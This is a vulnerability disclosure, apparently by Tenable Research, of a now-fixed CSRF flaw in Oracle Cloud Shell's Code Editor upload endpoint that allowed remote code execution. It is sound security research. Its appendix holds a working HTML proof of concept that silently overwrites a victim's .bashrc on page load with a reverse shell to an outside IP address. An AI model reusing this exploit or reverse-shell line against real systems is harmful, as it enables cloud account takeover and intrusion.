OCI, Oh My: Remote Code Execution on Oracle Cloud Shell and Code Editor Integrated Services

Tenable Research discovered a Remote Code Execution (RCE) vulnerability (now remediated) in Oracle Cloud Infrastructure (OCI) Code Editor. We demonstrated how an attacker could silently 1-click hijack a victim’s Cloud Shell environment and potentially pivot across OCI services. The vulnerability also affected Code Editor’s integrated services such as Resource Manager, Functions and Data Science.

Background

Oracle Code Editor is a lightweight, browser-based integrated development environment (IDE) in Oracle Cloud Infrastructure. Integrated with core OCI developer services such as Resource Manager, Functions and Data Science, it leverages the Cloud Shell environment behind the scenes. This means any code changes or file operations in Code Editor directly interact with the same underlying file system and user session used by Cloud Shell, creating a tightly coupled integration that shares authentication, file access and runtime context. Code Editor can be launched from anywhere within the OCI console, supported services and Cloud Shell.

Code Editor is often treated by researchers and users as a sandboxed, isolated space, but its deep interface with Resource Manager, Functions and Data Science suggests otherwise. Our intuition was simple: if a developer can upload files easily, can an attacker?

That single question led us to conduct a deeper inspection of how files are routed and authenticated between the browser and the Cloud Shell’s file system.

Technical details

When integrations conceal the real threat

Our research began, as it often does, with a simple goal: explore Oracle Cloud Infrastructure’s Cloud Shell to better understand its security posture. Cloud Shell provides users with a command-line environment directly in the browser, with access to the OCI Command Line Interface (CLI) and an ephemeral file system. As we traced the surface of Cloud Shell and its file upload mechanism, everything appeared well-locked and scoped.

But in cloud ecosystems, the danger isn’t always in what you see, it's often in what's quietly integrated behind the scenes.

During our research, we noticed something that stood out: the Code Editor appeared to use the same underlying file system as Cloud Shell. The two services shared the same session context and, most importantly, access to the same files.

This tight coupling is by design: Code Editor offers a layer on top of Cloud Shell, allowing developers to work seamlessly with the terminal and have an IDE-style experience. Francisco J. Alvarez Rabanal, Cloud Platform Solution Architect at Oracle, showed the functionality in a LinkedIn post when the capability was announced in 2022 (see screenshot below):

At first, the file upload mechanism in Cloud Shell itself seemed secure. It handled files responsibly and did not expose anything unusual. But when we shifted our focus to the Code Editor, we found a subtle difference: an upload endpoint that behaved differently, revealing our discovery.

Unlike Cloud Shell’s upload process, Code Editor exposed a /file-upload endpoint that lacked Cross-Site Request Forgery (CSRF) defenses. This misalignment opened the door to remote file manipulation via crafted cross-site requests. The integration of Cloud Shell with the browser-based Code Editor introduced a new attack surface, a hidden, less-defended door into the same environment.

This realization is a critical lesson in modern cloud security research: integrations aren't just conveniences, they're potential points for vulnerabilities.

Discovery: The router that talks too much

At the heart of this vulnerability lies a critical component: the Cloud Shell router (router.cloudshell.us-ashburn-1.oci.oraclecloud.com). This router is exposed when Code Editor is being used, and is responsible for uploading and downloading files within the Code Editor’s file system.

We discovered that the router accepts HTTP POST requests containing multipart/form-data payloads, a typical setup for file uploads. What raised a red flag was the presence of the CS-ProxyChallenge cookie, which is used for authentication, but configured with a SameSite=None attribute.

For context, modern browsers use the SameSite cookie attribute to prevent CSRF attacks. The value None offers no protection against cross-site requests, meaning any website could trigger this endpoint on behalf of the user so long as they’re authenticated.

This configuration created a perfect storm:

• A cross-origin POST request is accepted
• multipart/form-data is allowed (standard for uploads)
• No additional custom headers are required 

In essence: an attacker could create a webpage that, when visited by an authenticated Oracle Cloud Infrastructure user, would upload a malicious file to their Cloud Editor without their knowledge.

Since Code Editor uses Cloud Shell’s file system behind the scenes, the file uploaded will be uploaded to the victim’s Cloud Shell.

Exploitation Path: From CSRF to RCE

We designed a Proof of Concept (PoC) that mimicked a real-world exploit scenario:

1. Attacker hosts a malicious HTML file on a server.
2. The victim, already logged into Oracle Cloud Infrastructure, visits the attacker’s page.
3. JavaScript on the page silently sends a POST request to the vulnerable /file-upload endpoint.
4. The uploaded file is written to a sensitive location, such as .bashrc.
5. When the victim next initializes Cloud Shell, the malicious code is executed, leading to remote code execution.

Here’s an example of the HTTP request used to upload a file and essentially perform the attack:

POST /file-upload HTTP/1.1
Host: router.cloudshell.us-ashburn-1.oci.oraclecloud.com
Cookie: CS-ProxyChallenge=<base64_cookie>
Content-Type: multipart/form-data; boundary=----randomboundary
...
Content-Disposition: form-data; name="uri"
file:///home/username/.bashrc
...
Content-Disposition: form-data; name="file"; filename=".bashrc"
Content-Type: text/plain

<malicious shell code>

Our payload overrode .bashrc to establish a reverse shell. (The POC code can be found in Appendix A at the end of this blog.) From there, we could access Cloud Shell interactively, execute commands, and, crucially, leverage the victim’s Oracle Cloud Identity to move laterally using the OCI CLI.

Bonus exploitation: Beyond Cloud Shell – Code Editor’s integrated services were at risk

While the initial exploitation vector targets Cloud Shell, the implications extend further. Because Code Editor operates on the same shared Cloud Shell file system, any malicious payload uploaded via the vulnerable /file-upload endpoint is immediately accessible within the editor’s context. This creates a chain reaction: attackers can also tamper with files used by Resource Manager, Functions or Data Science services, all of which rely on this shared environment. For instance, injecting malicious code into a deployed Function or modifying the Resource Manager workspace can lead to broader compromise across OCI services. In essence, what begins as a simple CSRF exploit targeting file uploads on Cloud Shell quickly escalates into a multi-surface threat, compromising not just the shell, but the full suite of developer tools around it.

Vendor response

In response to this discovery, Oracle Cloud Infrastructure addressed the vulnerability by implementing an additional layer of protection in the form of a required custom HTTP header. Specifically, all relevant requests must now include a header named x-csrf-token with the value csrf-value. This change enforces CSRF protection by ensuring that only authorized, properly formed requests generated from within the authenticated Oracle Cloud environment are accepted by the server. Without this header, requests are rejected, effectively mitigating the previously exploitable behavior.

This change defends against CSRF attacks because browsers, by default, do not allow JavaScript in one origin to set arbitrary custom headers when making cross-origin requests — unless the target server explicitly enables it via CORS. Since the x-csrf-token header is not automatically included by browsers during normal cross-origin requests, and cannot be added by different origins without proper CORS configuration, this requirement effectively blocks unauthorized requests from being accepted.

Appendix A

POC code:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>TCS Research POC</title>
    <script>
        function submitForm() {
            var xhr = new XMLHttpRequest();
            var boundary = "random";
            var url = "https://router.cloudshell.us-ashburn-1.oci.oraclecloud.com/file-upload";
            var fileData = `# .bashrc
# Source global definitions
if [ -f /etc/bashrc ]; then
    . /etc/bashrc
fi
# Uncomment the following line if you don't like systemctl's auto-paging feature:
# export SYSTEMD_PAGER=
# User specific aliases and functions
source /etc/bashrc.cloudshell
bash -i >& /dev/tcp/34.46.192.239/4040 0>&1`;
            var fileName = "refxss.html";
            var nameVar = "file";
            var filePath = "file:///home/lmatan/.bashrc";
            var boundaryPrefix = "----webkitformboundary";
            var body = "--" + boundaryPrefix + boundary + "\r\n";
            body += 'Content-Disposition: form-data; name="uri"\r\n\r\n';
            body += filePath + "\r\n";
            body += "--" + boundaryPrefix + boundary + "\r\n";
            body += 'Content-Disposition: form-data; name="' + nameVar + '"; filename="' + fileName + '"\r\n';
            body += "Content-Type: text/html\r\n\r\n";
            body += fileData + "\r\n";
            body += "--" + boundaryPrefix + boundary + "--\r\n";
            var blob = new Blob([body], { type: "multipart/form-data; boundary=" + boundaryPrefix + boundary });
            xhr.open("POST", url, true);
            xhr.withCredentials = true;
            xhr.send(blob);
        }
        window.onload = submitForm;
    </script>
</head>
<body>
     <h1>TCS Research RCE POC</h1>
     <p>...</p>
</body>
</html>